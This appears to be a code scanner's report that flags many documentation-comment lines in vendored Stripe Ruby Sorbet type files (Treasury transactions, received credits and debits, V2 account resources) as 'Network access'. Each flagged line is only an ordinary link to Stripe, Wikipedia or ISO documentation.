def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T: - Network accessline 241
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/received_credit.rbi
- Network accessline 5
module Stripe module Treasury # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 6
module Treasury # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. class Recei - Network accessline 7
# ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 13
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 14
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 15
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 25
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 26
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 27
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 91
sig { returns(T.nilable(FinancialAccount)) } def financial_account; end # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID. - Network accessline 92
def financial_account; end # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID. sig { returns(T.nilable(String)) } - Network accessline 93
# Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID. - Network accessline 113
class LinkedFlows < ::Stripe::StripeObject class SourceFlowDetails < ::Stripe::StripeObject # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reve - Network accessline 114
class SourceFlowDetails < ::Stripe::StripeObject # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a n - Network accessline 115
# You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 116
sig { returns(T.nilable(::Stripe::Treasury::CreditReversal)) } def credit_reversal; end # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send fun - Network accessline 117
def credit_reversal; end # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https:/ - Network accessline 118
# Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts) - Network accessline 120
# Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using Outbo - Network accessline 121
# # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) sig { returns(T.nilable(::Stripe::Treasury::Ou - Network accessline 122
# Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) - Network accessline 123
sig { returns(T.nilable(::Stripe::Treasury::OutboundPayment)) } def outbound_payment; end # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to tran - Network accessline 124
def outbound_payment; end # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_acco - Network accessline 125
# Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t - Network accessline 127
# Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using Out - Network accessline 128
# # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) sig { returns(T.nilable(::Stripe::Treasury:: - Network accessline 129
# Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) - Network accessline 137
# industry. # # Related guide: [Receiving payouts](https://docs.stripe.com/payouts) - Network accessline 138
# # Related guide: [Receiving payouts](https://docs.stripe.com/payouts) sig { returns(T.nilable(::Stripe::Payout)) } - Network accessline 139
# Related guide: [Receiving payouts](https://docs.stripe.com/payouts) - Network accessline 153
sig { returns(T.nilable(String)) } def credit_reversal; end # Set if the ReceivedCredit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object. - Network accessline 154
def credit_reversal; end # Set if the ReceivedCredit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object. sig { returns(T.nilable(String)) } - Network accessline 155
# Set if the ReceivedCredit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object. - Network accessline 156
sig { returns(T.nilable(String)) } def issuing_authorization; end # Set if the ReceivedCredit is also viewable as an [Issuing transaction](https://api.stripe.com#issuing_transactions) object. - Network accessline 157
def issuing_authorization; end # Set if the ReceivedCredit is also viewable as an [Issuing transaction](https://api.stripe.com#issuing_transactions) object. sig { returns(T.nilable(String)) } - Network accessline 158
# Set if the ReceivedCredit is also viewable as an [Issuing transaction](https://api.stripe.com#issuing_transactions) object. - Network accessline 195
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 196
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 197
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 207
sig { returns(T.nilable(String)) } def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated u - Network accessline 208
def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses - Network accessline 209
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/received_debit.rbi
- Network accessline 5
module Stripe module Treasury # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. - Network accessline 6
module Treasury # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. class ReceivedDebit < APIResource - Network accessline 7
# ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. - Network accessline 13
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 14
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 15
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 25
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 26
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 27
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 91
sig { returns(T.nilable(FinancialAccount)) } def financial_account; end # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID. - Network accessline 92
def financial_account; end # Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID. sig { returns(T.nilable(String)) } - Network accessline 93
# Set when `type` is `issuing_card`. This is an [Issuing Card](https://api.stripe.com#issuing_cards) ID. - Network accessline 118
sig { returns(T.nilable(String)) } def inbound_transfer; end # Set if the ReceivedDebit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object. - Network accessline 119
def inbound_transfer; end # Set if the ReceivedDebit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object. sig { returns(T.nilable(String)) } - Network accessline 120
# Set if the ReceivedDebit was created due to an [Issuing Authorization](https://api.stripe.com#issuing_authorizations) object. - Network accessline 121
sig { returns(T.nilable(String)) } def issuing_authorization; end # Set if the ReceivedDebit is also viewable as an [Issuing Dispute](https://api.stripe.com#issuing_disputes) object. - Network accessline 122
def issuing_authorization; end # Set if the ReceivedDebit is also viewable as an [Issuing Dispute](https://api.stripe.com#issuing_disputes) object. sig { returns(T.nilable(String)) } - Network accessline 123
# Set if the ReceivedDebit is also viewable as an [Issuing Dispute](https://api.stripe.com#issuing_disputes) object. - Network accessline 124
sig { returns(T.nilable(String)) } def issuing_transaction; end # Set if the ReceivedDebit was created due to a [Payout](https://api.stripe.com#payouts) object. - Network accessline 125
def issuing_transaction; end # Set if the ReceivedDebit was created due to a [Payout](https://api.stripe.com#payouts) object. sig { returns(T.nilable(String)) } - Network accessline 126
# Set if the ReceivedDebit was created due to a [Payout](https://api.stripe.com#payouts) object. - Network accessline 154
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 155
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 156
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 166
sig { returns(T.nilable(String)) } def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated u - Network accessline 167
def financial_account; end # A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses - Network accessline 168
# A [hosted transaction receipt](https://docs.stripe.com/treasury/moving-money/regulatory-receipts) URL that is provided when money movement is considered regulated under Stripe's money transmission licenses.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/transaction.rbi
- Network accessline 5
module Stripe module Treasury # Transactions represent changes to a [FinancialAccount's](https://api.stripe.com#financial_accounts) balance. - Network accessline 6
module Treasury # Transactions represent changes to a [FinancialAccount's](https://api.stripe.com#financial_accounts) balance. class Transaction < APIResource - Network accessline 7
# Transactions represent changes to a [FinancialAccount's](https://api.stripe.com#financial_accounts) balance. - Network accessline 25
end class FlowDetails < ::Stripe::StripeObject # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a - Network accessline 26
class FlowDetails < ::Stripe::StripeObject # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new objec - Network accessline 27
# You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 28
sig { returns(T.nilable(::Stripe::Treasury::CreditReversal)) } def credit_reversal; end # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a - Network accessline 29
def credit_reversal; end # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitRev - Network accessline 30
# You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal. - Network accessline 31
sig { returns(T.nilable(::Stripe::Treasury::DebitReversal)) } def debit_reversal; end # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to you - Network accessline 32
def debit_reversal; end # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a - Network accessline 33
# Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y - Network accessline 34
# # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) sig { returns(T.nilable(::Stripe::Treasury::InboundT - Network accessline 35
# Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) - Network accessline 36
sig { returns(T.nilable(::Stripe::Treasury::InboundTransfer)) } def inbound_transfer; end # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 37
def inbound_transfer; end # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/author - Network accessline 38
# When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 39
# object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the - Network accessline 40
# purchase to be completed successfully. # # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 41
# # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) sig { returns(T.nilable(::Stripe::Issuing::Authorization)) } - Network accessline 42
# Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 43
sig { returns(T.nilable(::Stripe::Issuing::Authorization)) } def issuing_authorization; end # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send fun - Network accessline 44
def issuing_authorization; end # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](htt - Network accessline 45
# Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts) - Network accessline 47
# Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using OutboundP - Network accessline 48
# # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) sig { returns(T.nilable(::Stripe::Treasury::Outbou - Network accessline 49
# Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) - Network accessline 50
sig { returns(T.nilable(::Stripe::Treasury::OutboundPayment)) } def outbound_payment; end # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer - Network accessline 51
def outbound_payment; end # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accoun - Network accessline 52
# Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t - Network accessline 54
# Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using Outboun - Network accessline 55
# # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) sig { returns(T.nilable(::Stripe::Treasury::Outb - Network accessline 56
# Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) - Network accessline 57
sig { returns(T.nilable(::Stripe::Treasury::OutboundTransfer)) } def outbound_transfer; end # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or w - Network accessline 58
def outbound_transfer; end # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 59
# ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 60
sig { returns(T.nilable(::Stripe::Treasury::ReceivedCredit)) } def received_credit; end # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated fr - Network accessline 61
def received_credit; end # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. sig { returns(T.nilable(::Stripe::Trea - Network accessline 62
# ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. - Network accessline 96
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 97
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 98
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/treasury/transaction_entry.rbi
- Network accessline 5
module Stripe module Treasury # TransactionEntries represent individual units of money movements within a single [Transaction](https://api.stripe.com#transactions). - Network accessline 6
module Treasury # TransactionEntries represent individual units of money movements within a single [Transaction](https://api.stripe.com#transactions). class TransactionEntry < APIResource - Network accessline 7
# TransactionEntries represent individual units of money movements within a single [Transaction](https://api.stripe.com#transactions). - Network accessline 25
end class FlowDetails < ::Stripe::StripeObject # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a - Network accessline 26
class FlowDetails < ::Stripe::StripeObject # You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new objec - Network accessline 27
# You can reverse some [ReceivedCredits](https://api.stripe.com#received_credits) depending on their network and source flow. Reversing a ReceivedCredit leads to the creation of a new object known as a CreditReversal. - Network accessline 28
sig { returns(T.nilable(::Stripe::Treasury::CreditReversal)) } def credit_reversal; end # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a - Network accessline 29
def credit_reversal; end # You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitRev - Network accessline 30
# You can reverse some [ReceivedDebits](https://api.stripe.com#received_debits) depending on their network and source flow. Reversing a ReceivedDebit leads to the creation of a new object known as a DebitReversal. - Network accessline 31
sig { returns(T.nilable(::Stripe::Treasury::DebitReversal)) } def debit_reversal; end # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to you - Network accessline 32
def debit_reversal; end # Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a - Network accessline 33
# Use [InboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) to add funds to your [FinancialAccount](https://api.stripe.com#financial_accounts) via a PaymentMethod that is owned by y - Network accessline 34
# # Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) sig { returns(T.nilable(::Stripe::Treasury::InboundT - Network accessline 35
# Related guide: [Moving money with Treasury using InboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/into/inbound-transfers) - Network accessline 36
sig { returns(T.nilable(::Stripe::Treasury::InboundTransfer)) } def inbound_transfer; end # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 37
def inbound_transfer; end # When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` # object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/author - Network accessline 38
# When an [issued card](https://docs.stripe.com/issuing) is used to make a purchase, an Issuing `Authorization` - Network accessline 39
# object is created. [Authorizations](https://docs.stripe.com/issuing/purchases/authorizations) must be approved for the - Network accessline 40
# purchase to be completed successfully. # # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 41
# # Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) sig { returns(T.nilable(::Stripe::Issuing::Authorization)) } - Network accessline 42
# Related guide: [Issued card authorizations](https://docs.stripe.com/issuing/purchases/authorizations) - Network accessline 43
sig { returns(T.nilable(::Stripe::Issuing::Authorization)) } def issuing_authorization; end # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send fun - Network accessline 44
def issuing_authorization; end # Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](htt - Network accessline 45
# Use [OutboundPayments](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) to send funds to another party's external bank account or [FinancialAccount](https://api.stripe.com#financial_accounts) - Network accessline 47
# Simulate OutboundPayment state changes with the `/v1/test_helpers/treasury/outbound_payments` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using OutboundP - Network accessline 48
# # Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) sig { returns(T.nilable(::Stripe::Treasury::Outbou - Network accessline 49
# Related guide: [Moving money with Treasury using OutboundPayment objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-payments) - Network accessline 50
sig { returns(T.nilable(::Stripe::Treasury::OutboundPayment)) } def outbound_payment; end # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer - Network accessline 51
def outbound_payment; end # Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accoun - Network accessline 52
# Use [OutboundTransfers](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) to transfer funds from a [FinancialAccount](https://api.stripe.com#financial_accounts) to a PaymentMethod belonging t - Network accessline 54
# Simulate OutboundTransfer state changes with the `/v1/test_helpers/treasury/outbound_transfers` endpoints. These methods can only be called on test mode objects. # # Related guide: [Moving money with Treasury using Outboun - Network accessline 55
# # Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) sig { returns(T.nilable(::Stripe::Treasury::Outb - Network accessline 56
# Related guide: [Moving money with Treasury using OutboundTransfer objects](https://docs.stripe.com/docs/treasury/moving-money/financial-accounts/out-of/outbound-transfers) - Network accessline 57
sig { returns(T.nilable(::Stripe::Treasury::OutboundTransfer)) } def outbound_transfer; end # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or w - Network accessline 58
def outbound_transfer; end # ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 59
# ReceivedCredits represent funds sent to a [FinancialAccount](https://api.stripe.com#financial_accounts) (for example, via ACH or wire). These money movements are not initiated from the FinancialAccount. - Network accessline 60
sig { returns(T.nilable(::Stripe::Treasury::ReceivedCredit)) } def received_credit; end # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated fr - Network accessline 61
def received_credit; end # ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. sig { returns(T.nilable(::Stripe::Trea - Network accessline 62
# ReceivedDebits represent funds pulled from a [FinancialAccount](https://api.stripe.com#financial_accounts). These are not initiated from the FinancialAccount. - Network accessline 79
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 80
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 81
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/billing/meter_event.rbi
- Network accessline 23
# `customer_mapping.event_payload_key` (default is `stripe_customer_id`) and # `value_settings.event_payload_key` (default is `value`). Read more about # the [payload](https://docs.stripe.com/billing/subscriptions/usage-base - Network accessline 24
# `value_settings.event_payload_key` (default is `value`). Read more about # the [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides).. sig { returns(T::Hash[String, Stri - Network accessline 25
# the [payload](https://docs.stripe.com/billing/subscriptions/usage-based/recording-usage#payload-key-overrides)..
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/v2/core/account.rbi
- Network accessline 153
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 154
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 155
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 237
end class Branding < ::Stripe::StripeObject # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 238
class Branding < ::Stripe::StripeObject # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. sig { returns(T.nilabl - Network accessline 239
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): An icon for the merchant. Must be square and at least 128px x 128px. - Network accessline 240
sig { returns(T.nilable(String)) } def icon; end # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and with - Network accessline 241
def icon; end # ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. M - Network accessline 242
# ID of a [file upload](https://docs.stripe.com/api/persons/update#create_file): A logo for the merchant that will be used in Checkout instead of the icon and without the merchant's name next to it if provided. Must be at least 128px x 128p - Network accessline 1812
end end # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-jap - Network accessline 1813
end # The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-de - Network accessline 1814
# The Kana variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1815
sig { returns(T.nilable(Kana)) } def kana; end # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-start - Network accessline 1816
def kana; end # The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-s - Network accessline 1817
# The Kanji variation of statement_descriptor used for charges in Japan. Japanese statement descriptors have [special requirements](https://docs.stripe.com/get-started/account/statement-descriptors#set-japanese-statement-descriptors). - Network accessline 1855
